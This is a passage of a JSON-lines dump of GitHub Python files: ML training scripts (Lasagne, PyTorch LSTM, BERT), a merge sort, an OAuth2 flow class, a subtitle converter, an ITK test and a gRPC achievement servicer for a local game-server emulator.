self.loss_function_type == \"mean_squared_loss\":\n print (\"mean_squared_loss\")\n loss = lasagne.objectives.squared_error(prediction, target_var)\n elif self.loss_function_type == \"cross_entropy_loss\":\n print (\"cross entropy loss\")\n loss = lasagne.objectives.categorical_crossentropy(\n prediction, target_var)\n return loss\n\n def iterate_minibatches(self, inputs, targets, batchsize, shuffle=False):\n assert len(inputs) == len(targets)\n if shuffle:\n indices = np.arange(len(inputs))\n np.random.shuffle(indices)\n for start_idx in range(0, len(inputs) - batchsize + 1, batchsize):\n if shuffle:\n excerpt = indices[start_idx:start_idx + batchsize]\n else:\n excerpt = slice(start_idx, start_idx + batchsize)\n yield inputs[excerpt], targets[excerpt]\n\n def fit(self, train_x, train_y, valid=True, evaluate_function=None):\n \"\"\"\n :params train_x:\n :params train_y:\n :params valid: \n \"\"\"\n input_var = T.matrix('inputs')\n train_x_copy = train_x.astype(np.float32).copy()\n\n if self.problem_type == \"regression\":\n n_classes = 1\n print (\"regression model Lasagne Neural Network\")\n self.loss_function_type = \"mean_squared_loss\"\n train_y_copy = train_y.astype(\n np.float32).copy().reshape(len(train_y), 1)\n target_var = T.matrix('y')\n\n elif self.problem_type == \"classification\":\n n_classes = len(set(train_y))\n self.n_classes = n_classes\n print (\"classification model Lasagne Neural Network\")\n self.loss_function_type = \"cross_entropy_loss\"\n train_y_copy = train_y.copy().astype(np.uint8)\n target_var = T.ivector('targets')\n\n if valid is True:\n print (\"start split train and valid\")\n split_train_x, valid_x, split_train_y, valid_y = train_test_split(\n train_x_copy, train_y_copy, test_size=0.1)\n else:\n split_train_x, split_train_y = train_x_copy, train_y_copy\n\n N, input_dim = split_train_x.shape\n self.setModel(input_dim, n_classes, input_var)\n prediction = lasagne.layers.get_output(self.neural_network)\n\n loss = None\n\n if self.loss_function_type == \"mean_squared_loss\":\n print (\"mean_squared_loss\")\n loss = lasagne.objectives.squared_error(prediction, target_var)\n elif self.loss_function_type == \"cross_entropy_loss\":\n print (\"cross entropy loss\")\n loss = lasagne.objectives.categorical_crossentropy(\n prediction, target_var)\n\n loss = loss.mean()\n\n # define update functions\n params = lasagne.layers.get_all_params(\n self.neural_network, trainable=True)\n\n updates = self.select_update_function(\n loss, params, self.update_function_type)\n\n test_prediction = lasagne.layers.get_output(\n self.neural_network, deterministic=True)\n train_fn = theano.function(\n [input_var, target_var], loss, updates=updates)\n\n test_loss = self.select_loss_function(\n test_prediction, target_var, self.loss_function_type)\n\n # define test function\n val_fn = None\n test_acc = None\n # Compile a second function computing the validation loss and accuracy:\n if self.problem_type == \"classification\":\n test_loss = test_loss.mean()\n if self.loss_function_type == \"cross_entropy_loss\":\n test_acc = T.mean(T.eq(T.argmax(test_prediction, axis=1), target_var),\n dtype=theano.config.floatX)\n val_fn = theano.function([input_var, target_var], [\n test_loss, test_acc])\n else:\n val_fn = theano.function([input_var, target_var], test_loss)\n\n self.prediction_fc = theano.function([input_var], test_prediction)\n\n print(\"Starting training...\")\n num_epochs = self.epochs\n for epoch in xrange(num_epochs):\n # In each epoch, we do a full pass over the training data:\n train_err = 0\n train_batches = 0\n start_time = time.time()\n for batch in self.iterate_minibatches(split_train_x, split_train_y, self.batch_size, shuffle=True):\n inputs, targets = batch\n train_err += train_fn(inputs, targets)\n train_batches += 1\n\n # And a full pass over the validation data:\n valid_score = None\n\n if valid:\n val_err = 0\n val_acc = 0\n val_batches = 0\n for batch in self.iterate_minibatches(valid_x, valid_y, 1, shuffle=False):\n inputs, targets = batch\n if self.problem_type == \"classification\":\n err, acc = val_fn(inputs, targets)\n val_acc += acc\n else:\n err = val_fn(inputs, targets)[0][0]\n val_err += err\n val_batches += 1\n valid_score = val_err / val_batches\n\n # Then we print the results for this epoch:\n print(\"Epoch {} of {} took {:.3f}s\".format(\n epoch + 1, num_epochs, time.time() - start_time))\n print(\" training loss:\\t\\t{:.6f}\".format(\n train_err / train_batches / self.batch_size))\n\n if valid:\n print(\" validation loss:\\t\\t{:.6f}\".format(\n valid_score))\n\n def predict(self, x):\n if self.problem_type == \"regression\":\n y = self.prediction_fc(x.astype(np.float32))\n return y.reshape(len(y))\n elif self.problem_type == \"classification\":\n y = self.prediction_fc(x.astype(np.float32))\n return np.argmax(y, axis=1)\n\n def predict_proba(self, x):\n y = self.prediction_fc(x)\n return y\n","repo_name":"tereka114/MachineLearningCombinator","sub_path":"mlc/model/LasagneNeuralNetwork.py","file_name":"LasagneNeuralNetwork.py","file_ext":"py","file_size_in_byte":9090,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"4508406180","text":"\n\ndef sort(left, right, array):\n if left >= right:\n return\n mid = left + (right - left) // 2\n sort(left, mid, array)\n sort(mid+1, right, array)\n merge(left, right, array)\n\n\ndef merge(left, right, array):\n mid = left + (right - left) // 2\n len1 = mid - left + 1\n len2 = right - mid\n first = [0 for i in range(len1)]\n second = [0 for i in range(len2)]\n\n for i in range(len1):\n first[i] = array[left + i]\n for i in range(len2):\n second[i] = array[i + mid + 1]\n\n i = 0\n j = 0\n for k in range(left, right+1):\n if j == len2 or (i != len(first) and first[i] < second[j]):\n array[k] = first[i]\n i += 1\n else:\n array[k] = second[j]\n j += 1\n\n\narray = [4,7,8,1,4,9,4,5,12,3,5,7]\nsort(0, len(array)-1, array)\nprint(array)\n","repo_name":"erikseulean/python-algo","sub_path":"Sorting/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71189771982","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom tqdm.autonotebook import trange\nimport matplotlib.pyplot as plt\nfrom preprocess import *\n\n\nclass SentimentRNN(nn.Module):\n def __init__(self, no_layers, vocab_size, hidden_dim, embedding_dim, drop_prob=0.5):\n super(SentimentRNN, self).__init__()\n\n self.output_dim = output_dim\n self.hidden_dim = hidden_dim\n\n self.no_layers = no_layers\n self.vocab_size = vocab_size\n\n # embedding and LSTM layers\n self.embedding = nn.Embedding(vocab_size, embedding_dim)\n\n # lstm\n self.lstm = nn.LSTM(input_size=embedding_dim, hidden_size=self.hidden_dim,\n num_layers=no_layers, batch_first=True)\n\n # dropout layer\n self.dropout = nn.Dropout(0.3)\n\n # linear and sigmoid layer\n self.fc = nn.Linear(self.hidden_dim, output_dim)\n self.actv = nn.Tanh()\n\n def forward(self, x, hidden):\n batch_size = x.size(0)\n # embeddings and lstm_out\n # shape: B x S x Feature since batch = True\n embeds = self.embedding(x)\n # print(embeds.shape) #[50, 500, 1000]\n lstm_out, hidden = self.lstm(embeds, hidden)\n\n lstm_out = lstm_out.contiguous().view(-1, self.hidden_dim)\n\n # dropout and fully connected layer\n out = self.dropout(lstm_out)\n out = self.fc(out)\n\n # sigmoid function\n sig_out = self.actv(out)\n\n # reshape to be batch_size first\n sig_out = sig_out.view(batch_size, -1)\n\n sig_out = sig_out[:, -1] # get last batch of labels\n\n # return last sigmoid output and hidden state\n return sig_out, hidden\n\n def init_hidden(self, batch_size):\n ''' Initializes hidden state '''\n # Create two new tensors with sizes n_layers x batch_size x hidden_dim,\n # initialized to zero, for hidden state and cell state of LSTM\n h0 = torch.zeros((self.no_layers, batch_size,\n self.hidden_dim)).to(device)\n c0 = torch.zeros((self.no_layers, batch_size,\n self.hidden_dim)).to(device)\n hidden = (h0, c0)\n return hidden\n\n \n\ndef TrainingLoop(show_plots=False):\n clip = 5\n epochs = 5\n valid_loss_min = np.Inf\n # train for some number of epochs\n epoch_tr_loss, epoch_vl_loss = [], []\n epoch_tr_acc, epoch_vl_acc = [], []\n count = 0\n for epoch in trange(epochs):\n train_losses = []\n train_acc = 0.0\n model.train()\n # initialize hidden state\n h = model.init_hidden(BatchSize)\n for i, data in enumerate(train_loader):\n\n inputs, labels = data\n inputs, labels = inputs.to(device), labels.to(device)\n # Creating new variables for the hidden state, otherwise\n # we'd backprop through the entire training history\n h = tuple([each.data for each in h])\n\n model.zero_grad()\n output, h = model(inputs, h)\n\n # calculate the loss and perform backprop\n loss = criterion(output.squeeze(), labels.float())\n loss.backward()\n train_losses.append(loss.item())\n # calculating accuracy\n accuracy = evaluation(output, labels)\n train_acc += accuracy\n if epoch == 0 and i == 0:\n print(f'Epoch {epoch}')\n\n print(\n f'Intial train_loss : {loss.item()}')\n # `clip_grad_norm` helps prevent the exploding gradient problem in RNNs / LSTMs.\n nn.utils.clip_grad_norm_(model.parameters(), clip)\n optimizer.step()\n\n val_h = model.init_hidden(BatchSize)\n val_losses = []\n val_acc = 0.0\n model.eval()\n for i, data in enumerate(valid_loader):\n\n inputs, labels = data\n val_h = tuple([each.data for each in val_h])\n\n inputs, labels = inputs.to(device), labels.to(device)\n\n output, val_h = model(inputs, val_h)\n val_loss = criterion(output.squeeze(), labels.float())\n\n val_losses.append(val_loss.item())\n\n accuracy = evaluation(output, labels)\n val_acc += accuracy\n\n epoch_train_loss = np.mean(train_losses)\n epoch_val_loss = np.mean(val_losses)\n epoch_train_acc = train_acc/len(train_loader.dataset)\n epoch_val_acc = val_acc/len(valid_loader.dataset)\n epoch_tr_loss.append(epoch_train_loss)\n epoch_vl_loss.append(epoch_val_loss)\n epoch_tr_acc.append(epoch_train_acc)\n epoch_vl_acc.append(epoch_val_acc)\n print(f'Epoch {epoch+1}')\n print(f'train_loss : {epoch_train_loss} val_loss : {epoch_val_loss}')\n print(\n f'train_accuracy : {epoch_train_acc*100} val_accuracy : {epoch_val_acc*100}')\n if epoch_val_loss <= valid_loss_min:\n torch.save(model.state_dict(), './state_dict.pt')\n print('Validation loss decreased ({:.6f} --> {:.6f}). Saving model ...'.format(\n valid_loss_min, epoch_val_loss))\n valid_loss_min = epoch_val_loss\n else:\n count += 1\n print(25*'==')\n\n if count >= 3:\n break\n\n if show_plots:\n plt.plot(epoch_tr_acc, label='Train Acc')\n plt.plot(epoch_vl_acc, label='Validation Acc')\n plt.title(\"Accuracy\")\n plt.legend()\n plt.savefig('WordLstmAcc.jpg')\n plt.clf()\n\n plt.plot(epoch_tr_loss, label='Train loss')\n plt.plot(epoch_vl_loss, label='Validation loss')\n plt.title(\"Loss\")\n plt.legend()\n plt.savefig('WordLstmLoss.jpg')\n\n\ndevice = setup_device()\nno_layers = 2\nvocab_size = len(vocab) + 1 # extra 1 for padding\nembedding_dim = 64\noutput_dim = 1\nhidden_dim = 256\nmodel = SentimentRNN(no_layers, vocab_size, hidden_dim,\n embedding_dim, drop_prob=0.5)\n# moving to gpu\nmodel.to(device)\nprint(model)\n# loss and optimization functions\ncriterion = nn.BCELoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=0.001)\nTrainingLoop(show_plots=True)\n# function to predict accuracy\n","repo_name":"chidaksh/MachineLearning","sub_path":"TextAnalytics/makemore/wordlevel/sentimentGRU.py","file_name":"sentimentGRU.py","file_ext":"py","file_size_in_byte":6252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13723162579","text":"\"\"\"Base `OAuth2Flow` definition.\"\"\"\n\nfrom ampyr import factories as ft, protocols as pt, typedefs as td\nfrom ampyr import cache\nfrom ampyr.oauth2 import configs, tokens\n\nDEFAULT_OAUTH_URL = \"http://127.0.0.1\"\n\"\"\"\nDefault base url for making making calls to some\n`OAuth2.0` server.\n\"\"\"\n\nDEFAULT_TOKEN_URL = \"/\".join([DEFAULT_OAUTH_URL, \"token\"])\n\"\"\"\nDefault base url for making token requests to\nsome `OAuth2.0` server.\n\"\"\"\n\n\nclass SimpleOAuth2Flow(pt.OAuth2Flow):\n \"\"\"\n Basic implementation. Defines constructor for\n all subsequent derivatives.\n\n Warning: Not meant to be used directly.\n \"\"\"\n\n cache_manager: pt.CacheManager[td.TokenMetaData]\n \"\"\"\n Interacts with some cache that is expected to\n store token data.\n \"\"\"\n\n cache_class: type[pt.CacheManager]\n \"\"\"\n Class used to build new `CacheManager`\n objects.\n \"\"\"\n\n cache_factory: ft.OptCacheFT\n \"\"\"Constructs new `CacheManager` objects.\"\"\"\n\n session: td.Session\n \"\"\"\n A session object. Used for making RESTful\n transactions.\n \"\"\"\n\n session_factory: ft.OptSessionFT\n \"\"\"\n Constructs new `typedefs.Session` objects.\n \"\"\"\n\n url_for_oauth: str\n \"\"\"\n Points to the URL used for `OAuth2.0`.\n \"\"\"\n\n url_for_token: str\n \"\"\"\n Points to the URL responsible for requesting\n auth tokens.\n \"\"\"\n\n @property\n def auth_config(self):\n return self.__auth_config__\n\n @property\n def session_config(self):\n return self.__session_config__\n\n __auth_config__: configs.AuthConfig\n __session_config__: configs.SessionConfig\n\n def __enter__(self):\n return self\n\n def __exit__(self, etype, evalue, tback):\n return\n\n def __init__(self,\n client_id: str,\n client_secret: str,\n client_userid: td.OptString = None,\n *,\n cache_class: td.Optional[type[pt.CacheManager]] = None,\n cache_factory: ft.OptCacheFT = None,\n session_factory: ft.OptSessionFT = None,\n headers: td.OptRequestHeaders = None,\n scope: td.OptAuthScope = None,\n state: td.OptString = None,\n timeouts: td.Optional[tuple[float, ...]] = None,\n url_for_oauth: td.OptString = None,\n url_for_redirect: td.OptString = None,\n url_for_token: td.OptString = None,\n **kwds):\n \"\"\"Build some `OAuth2Flow` object.\"\"\"\n\n # Initialize internal configs.\n self._new_auth_config(client_id,\n client_secret,\n client_userid=client_userid,\n url_for_redirect=url_for_redirect\n or DEFAULT_OAUTH_URL,\n scope=tokens.normalize_scope(scope or \"\"),\n state=state)\n self._new_session_config(headers, timeouts)\n\n # Cache manager construction components.\n # TODO: define basic cache classes.\n self.cache_class = cache_class or cache.MemoryCacheManager\n self.cache_factory = cache_factory\n\n # Session construction components.\n self.session_factory = session_factory\n\n # URL parsing and components.\n self.url_for_oauth = url_for_oauth or DEFAULT_OAUTH_URL\n self.url_for_token = url_for_token or DEFAULT_TOKEN_URL\n\n # Initialize internal access objects,\n # managers, handlers, etc.\n self._new_cache_manager()\n self._new_session()\n\n def _new_auth_config(self, *args, **kwds):\n \"\"\"\n Generates a configuration object for\n OAuth values.\n \"\"\"\n\n args = args + (tokens.make_verifier(), )\n\n inst = ft.generic_make(configs.AuthConfig, gt_args=args, gt_kwds=kwds)\n inst.code_challenge = tokens.make_challenge(inst)\n\n self.__auth_config__ = inst\n\n def _new_cache_manager(self, *args, **kwds) -> None:\n \"\"\"\n Creates a `CacheManager` object using\n this flows internal factory. The new\n manager is then assigned to this flow.\n \"\"\"\n\n inst = ft.generic_make(self.cache_class,\n gt_factory=self.cache_factory,\n gt_args=args,\n gt_kwds=kwds)\n\n self.cache_manager = inst\n\n def _new_session_config(self, *args, **kwds):\n \"\"\"\n Generates a configuration object for\n basic requests values.\n \"\"\"\n\n headers, args = args[0], args[1:]\n\n if not headers:\n headers = tokens.make_headers(self.auth_config)\n args = (headers, ) + args\n\n inst = ft.generic_make(configs.SessionConfig,\n gt_args=args,\n gt_kwds=kwds)\n\n self.__session_config__ = inst\n\n def _new_session(self, *args, **kwds) -> None:\n \"\"\"\n Creates a `typedefs.Session` object using\n this flows internal factory. The new\n session is then assigned to this flow.\n \"\"\"\n\n inst = ft.generic_make(td.Session,\n gt_factory=self.session_factory,\n gt_args=args,\n gt_kwds=kwds)\n\n self.session = inst\n","repo_name":"WilkinsonK/ampyr","sub_path":"project/ampyr/oauth2/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40764922890","text":"umur = input(\"kamu umur berapa? \")\n#mengubah input menjadi integer\numurJadiInteger = int(umur)\n#kalkulasi\n#sisa berapa tahun? (misalkan estimasi dia hidup 75 tahun)\ntahun = 75 - umurJadiInteger\n#sisa berapa bulan?\nbulan = tahun * 12\n#sisa berapa minggu?\nminggu = tahun * 52\n#sisa berapa hari?\nhari = tahun * 365\n\neksekusi = print(f\"kamu memiliki {hari} hari atau {minggu} minggu atau {bulan} bulan atau {tahun} tahun tersisa\")\n\nprint (eksekusi)\n","repo_name":"MalSpielplatz/sisa-umur","sub_path":"awok.py","file_name":"awok.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"69966018703","text":"import pylrc\nimport os\nfrom pylrc.classes import Lyrics\n\nclass qe_rs:\n def __init__(self):\n self.start_line = 0\n self.mode = ''\n\nclass lrc2srt:\n \"\"\"\n 将lrc文件转换为srt文件\n \"\"\"\n def __init__(self, lrc_file_path) -> None:\n self.main_subs = None\n self.sub_subs = None\n self.lrc_file_path = lrc_file_path\n self.lrc_file = open(self.lrc_file_path, encoding='utf-8')\n lrc_string = ''.join(self.lrc_file.readlines())\n self.lrc_file.close()\n self.subs = pylrc.parse(lrc_string)\n\n @staticmethod\n def lan_mode():\n \"\"\"\n 获取lrc中的语言格式\n \"\"\"\n lan_mode = input('选择语言模式:\\n[1]单语\\n[2]双语\\n>>>')\n os.system('cls') \n return lan_mode\n \n \n def start_line_(self, mode=True):\n \"\"\"\n 起始切割行数\n \"\"\"\n self.show_lrc(subs=self.subs)\n if mode != True:\n print('输入异常,请重新输入!')\n most_line = len(self.subs) \n try:\n start_line = int(input('输入开始行数(包含该行数):\\n>>>')) # if start_line != 'exit' else exit()\n except ValueError:\n os.system('cls')\n return self.start_line_(mode=False)\n os.system('cls')\n if start_line <= most_line:\n return start_line\n else:\n return self.start_line_(mode=False)\n \n def cut_line(self):\n \"\"\"\n 切割模式\n \"\"\"\n mode = input('选择切割模式:\\n[1]切割一半\\n[2]交替切割\\n>>>') \n if mode == '1':\n return 'half'\n elif mode == '2':\n return 'alt'\n elif mode == 'exit':\n exit()\n else:\n return self.cut_line()\n\n def show_lrc(self, subs) -> None: # 为什么不用self.subs\n \"\"\"\n 展示歌词\n \"\"\"\n # subs_copy = [sub.text+'\\r' for sub in self.subs]\n subs_copy = enumerate(subs)\n for sub in subs_copy: \n print(sub[0], sub[1].text)\n\n def interact_lrc(self) -> qe_rs:\n \"\"\"\n 交互模式\n 通过递归确保输入正确\n 或许用装饰器更好?\n \"\"\"\n \n qe = qe_rs()\n lan_mode_ = self.lan_mode()\n\n if lan_mode_ == '1':\n qe.start_line = self.start_line_()\n return qe\n elif lan_mode_ == '2':\n qe.start_line = self.start_line_()\n qe.mode = self.cut_line()\n return qe \n elif lan_mode_ == 'exit':\n exit()\n else:\n return self.interact_lrc()\n\n\n def spilt_lrc(self, start_line, mode=''):\n \"\"\"\n 切割歌词\n \"\"\"\n for _ in range(start_line):\n self.subs.pop(0) # del无效\n self.main_subs = Lyrics() \n self.sub_subs = Lyrics() \n if mode == 'half': # 对半切割\n i = 0\n for sub in self.subs:\n if i < len(self.subs)/2: \n self.main_subs.append(sub)\n else:\n self.sub_subs.append(sub)\n i += 1\n elif mode == 'alt': # 交替切割\n i = 0\n for sub in self.subs:\n if i%2 == 0:\n self.main_subs.append(sub)\n else:\n self.sub_subs.append(sub)\n i += 1\n else:\n pass\n\n def remove_lrc(self, subs, line) -> None:\n \"\"\"\n 移除某一行歌词\n \"\"\"\n del subs[line]\n pass\n\n def check_lrc(self) -> None:\n \"\"\"\n 检查歌词\n \"\"\"\n self.show_lrc(subs=self.main_subs)\n line = input('输入要移除的行数:\\n>>>')\n if line == 'ok':\n pass\n else:\n try:\n line = int(line) \n except ValueError:\n return self.check_lrc()\n self.show_lrc(subs=self.sub_subs)\n pass\n\n def tosrt(self) -> None:\n \"\"\"\n 生成srt文件\n \"\"\"\n if any([self.main_subs, self.sub_subs]):\n main_srt = self.main_subs.toSRT()\n sub_srt = self.sub_subs.toSRT()\n with open('resource/main.srt', 'w', encoding='utf-8') as srt_file:\n srt_file.write(main_srt)\n srt_file.close()\n with open('resource/sub.srt', 'w', encoding='utf-8') as srt_file:\n srt_file.write(sub_srt)\n srt_file.close()\n else:\n srt = self.subs.toSRT()\n with open('resource/main.srt', 'w', encoding='utf-8') as srt_file:\n srt_file.write(srt)\n srt_file.close()\n print('如果有乱码, 用gb2312打开')\n\n\nif __name__ == '__main__':\n pass\n\n\n","repo_name":"IamK77/ffmpeg_py","sub_path":"src/lrc2srt.py","file_name":"lrc2srt.py","file_ext":"py","file_size_in_byte":4789,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"35683650079","text":"# -*- coding: utf-8 -*-\n# @Author : Ezreal\n# @File : predict.py\n# @Project: Douban_Bert\n# @CreateTime : 2022/3/13 上午12:08:22\n# @Version：V 0.1\n'''\n数据预处理\n'''\nimport pandas as pd\nimport torch\nfrom transformers import Trainer,TrainingArguments, BertTokenizer, BertModel, BertPreTrainedModel,BertConfig\nfrom torch.utils.data import Dataset, DataLoader\nimport warnings\nwarnings.filterwarnings('ignore')\nimport sys\nsys.setrecursionlimit(3000)\nimport re\n\ndef tokenize(content):\n filters = ['\\t','\\n','\\x97','\\x96','#','$','%','&',':','，','。','\\.','“','”','\"','《','》',\" \",\"@\",\"、\",\"-\",\"（\",\"）\",\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n content = re.sub(\"|\".join(filters),\"\",content)\n return content\n\n\ndef read_data(data_dir):\n data = pd.read_csv(data_dir)\n data['comments'] = data['comments'].fillna('')\n return data\n\ndef fill_paddings(data, maxlen):\n '''补全句长'''\n if len(data) < maxlen:\n pad_len = maxlen-len(data)\n paddings = [0 for _ in range(pad_len)]\n data = torch.tensor(data + paddings)\n else:\n data = torch.tensor(data[:maxlen])\n return data\n\nclass InputDataSet():\n\n def __init__(self,data,tokenizer,max_len):\n self.data = data\n self.tokenizer = tokenizer\n self.max_len = max_len#最大句长\n\n def __len__(self,):\n return len(self.data)\n\n def __getitem__(self, item):\n text = str(self.data['comments'][item])\n labels = self.data['rating'][item]\n labels = torch.tensor(labels, dtype=torch.long)\n\n ## 手动构建\n tokens = self.tokenizer.tokenize(text)\n tokens_ids = self.tokenizer.convert_tokens_to_ids(tokens)\n tokens_ids = [101] + tokens_ids + [102]\n input_ids = fill_paddings(tokens_ids,self.max_len)\n\n attention_mask = [1 for _ in range(len(tokens_ids))]#这里注意传入的是tokens_ids\n attention_mask = fill_paddings(attention_mask,self.max_len)\n\n token_type_ids = [0 for _ in range(len(tokens_ids))]\n token_type_ids = fill_paddings(token_type_ids,self.max_len)\n\n return {\n 'text':text,\n 'input_ids':input_ids,\n 'attention_mask':attention_mask,\n 'token_type_ids':token_type_ids,\n 'labels':labels-1\n\n }\n\n\nif __name__ == '__main__':\n train_dir = 'data/train.csv'\n dev_dir = 'data/test.csv'\n model_dir = 'bert-base-chinese'\n train = read_data(train_dir)\n test = read_data(dev_dir)\n tokenizer = BertTokenizer.from_pretrained(model_dir)\n train_dataset = InputDataSet(train,tokenizer=tokenizer, max_len=128)\n train_dataloader = DataLoader(train_dataset,batch_size=4)\n batch = next(iter(train_dataloader))\n\n print(batch)\n print(batch['input_ids'].shape)\n print(batch['attention_mask'].shape)\n print(batch['token_type_ids'].shape)\n print(batch['labels'].shape)\n\n\n\n\n\n\n","repo_name":"Ezreal-Jing/Douban_BERT","sub_path":"data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"47"} +{"seq_id":"1341235088","text":"import itk\n\nImageType = itk.Image[itk.F, 2]\n\nsource = itk.RandomImageSource[ImageType].New()\nsize = itk.Size[2]()\nsize.Fill(20)\nsource.SetSize(size)\n\nconnector =itk.ImageToVTKImageFilter[ImageType].New()\nconnector.SetInput(source.GetOutput())\n\nconnector.UpdateLargestPossibleRegion();\n\nprint(connector)\nprint(connector.GetOutput())\n","repo_name":"InsightSoftwareConsortium/ITKVtkGlue","sub_path":"test/itkImageToVTKImageFilterTest.py","file_name":"itkImageToVTKImageFilterTest.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"47"} +{"seq_id":"30389956124","text":"import grpc\n\nfrom takasho.packer import packer\nfrom takasho.schema.common_featureset.player_api import player_achievement_pb2\nfrom takasho.schema.common_featureset.player_api import player_achievement_pb2_grpc\n\n\nclass PlayerAchievement(player_achievement_pb2_grpc.PlayerAchievementServicer):\n \n def GetAvailableV1(self, request, context):\n response = player_achievement_pb2.PlayerAchievementGetAvailableV1. \\\n Response()\n # if request.criterion.category == 'AllUserPresent':\n # player_achievement = response.player_achievements.add()\n # achievement = player_achievement.achievement\n # achievement.achievement_id = 'AllUserPresent_96'\n # achievement.value = b'{\"Name\":\"AllUserPresent\",\"Value\":96,\"IsContainNewUser\":0,\"PresentType\":3,\"ClientVersion\":\"2.1.0\",\"CreateAt\":1665640800}'\n # achievement.opened_at = 1665640800\n # achievement.closed_at = 1666245600\n # achievement.date_line = '04:00:00Z'\n # prize = achievement.prizes.add()\n # prize.achievement_id = 'AllUserPresent_96'\n # prize.achievement_prize_id = 'AllUserPresent_96_1'\n # prize.item_type = prize.item_type.VIRTUAL_CURRENCY\n # prize.schema_key = 'VC'\n # prize.value = b'{\"ItemId\":100090001,\"Prefix\":\"VC\",\"Value\":90001,\"Count\":100,\"AchievementId\":\"AllUserPresent_96\",\"PresentType\":3}'\n # prize.system_resource_name = 'FREE_STONE'\n # prize.system_resource_num = 100\n # achievement.category = 'AllUserPresent'\n return response\n \n def UnlockV1(self, request, context):\n response = player_achievement_pb2.PlayerAchievementUnlockV1.Response()\n # if 'AllUserPresent_96' in request.achievement_ids:\n # player_achievement = response.player_achievements.add()\n # achievement = player_achievement.achievement\n # achievement.achievement_id = 'AllUserPresent_96'\n # achievement.value = b'{\"Name\":\"AllUserPresent\",\"Value\":96,\"IsContainNewUser\":0,\"PresentType\":3,\"ClientVersion\":\"2.1.0\",\"CreateAt\":1665640800}'\n # achievement.opened_at = 1665640800\n # achievement.closed_at = 1666245600\n # achievement.date_line = '04:00:00Z'\n # prize = achievement.prizes.add()\n # prize.achievement_id = 'AllUserPresent_96'\n # prize.achievement_prize_id = 'AllUserPresent_96_1'\n # prize.item_type = prize.item_type.VIRTUAL_CURRENCY\n # prize.schema_key = 'VC'\n # prize.value = b'{\"ItemId\":100090001,\"Prefix\":\"VC\",\"Value\":90001,\"Count\":100,\"AchievementId\":\"AllUserPresent_96\",\"PresentType\":3}'\n # prize.system_resource_name = 'FREE_STONE'\n # prize.system_resource_num = 100\n # achievement.category = 'AllUserPresent'\n # achievement.unlock = True\n # inventory = response.inventories.add()\n # inventory.id = '1fbede23-97ab-4443-9fd9-d8e5091bf2b6'\n # inventory.player_id = 'b7124b56-3fa4-427a-8dd0-64ec8830294e'\n # inventory.item_type = inventory.item_type.VIRTUAL_CURRENCY\n # inventory.schema_key = 'VC'\n # inventory.value = b'{\"ItemId\":100090001,\"Prefix\":\"VC\",\"Value\":90001,\"Count\":100,\"AchievementId\":\"AllUserPresent_96\",\"PresentType\":3}'\n # inventory.route = inventory.route.ACHIEVEMENT\n # inventory.message = '運営からのお詫び'\n # inventory.search_label = 'VC'\n # inventory.opened_at = 1665641144\n # inventory.expired_at = 1668020400\n # inventory.system_resource_name = 'FREE_STONE'\n # inventory.system_resource_num = 100\n # inventory.created_at = 1665641144\n return response\n\n\ndef add_PlayerAchievementServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'GetAvailableV1': grpc.unary_unary_rpc_method_handler(\n servicer.GetAvailableV1,\n request_deserializer=lambda x: player_achievement_pb2.PlayerAchievementGetAvailableV1.Request.FromString(packer.unpack(x)),\n response_serializer=lambda x: packer.pack(player_achievement_pb2.PlayerAchievementGetAvailableV1.Response.SerializeToString(x)),\n ),\n 'GetAvailableByIDsV1': grpc.unary_unary_rpc_method_handler(\n servicer.GetAvailableByIDsV1,\n request_deserializer=lambda x: player_achievement_pb2.PlayerAchievementGetAvailableByIDsV1.Request.FromString(packer.unpack(x)),\n response_serializer=lambda x: packer.pack(player_achievement_pb2.PlayerAchievementGetAvailableByIDsV1.Response.SerializeToString(x)),\n ),\n 'UnlockV1': grpc.unary_unary_rpc_method_handler(\n servicer.UnlockV1,\n request_deserializer=lambda x: player_achievement_pb2.PlayerAchievementUnlockV1.Request.FromString(packer.unpack(x)),\n response_serializer=lambda x: packer.pack(player_achievement_pb2.PlayerAchievementUnlockV1.Response.SerializeToString(x)),\n ),\n 'UnlockAndSavePlayerStorageV1': grpc.unary_unary_rpc_method_handler(\n servicer.UnlockAndSavePlayerStorageV1,\n request_deserializer=lambda x: player_achievement_pb2.PlayerAchievementUnlockAndSavePlayerStorageV1.Request.FromString(packer.unpack(x)),\n response_serializer=lambda x: packer.pack(player_achievement_pb2.PlayerAchievementUnlockAndSavePlayerStorageV1.Response.SerializeToString(x)),\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'takasho.schema.common_featureset.player_api.PlayerAchievement', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n","repo_name":"RainbowUnicorn7297/dankagu-local","sub_path":"takasho/schema/common_featureset/player_api/player_achievement.py","file_name":"player_achievement.py","file_ext":"py","file_size_in_byte":5710,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"33072787272","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 18 13:07:46 2018\n\n@author: gamer\n\"\"\"\nimport sys,os\nimport numpy as np\nimport keras\nimport keras.backend as K\nfrom keras import layers\nfrom base.flattener import Flattener\nsys.path.append(os.path.dirname(os.getcwd()))\n\nfrom nn 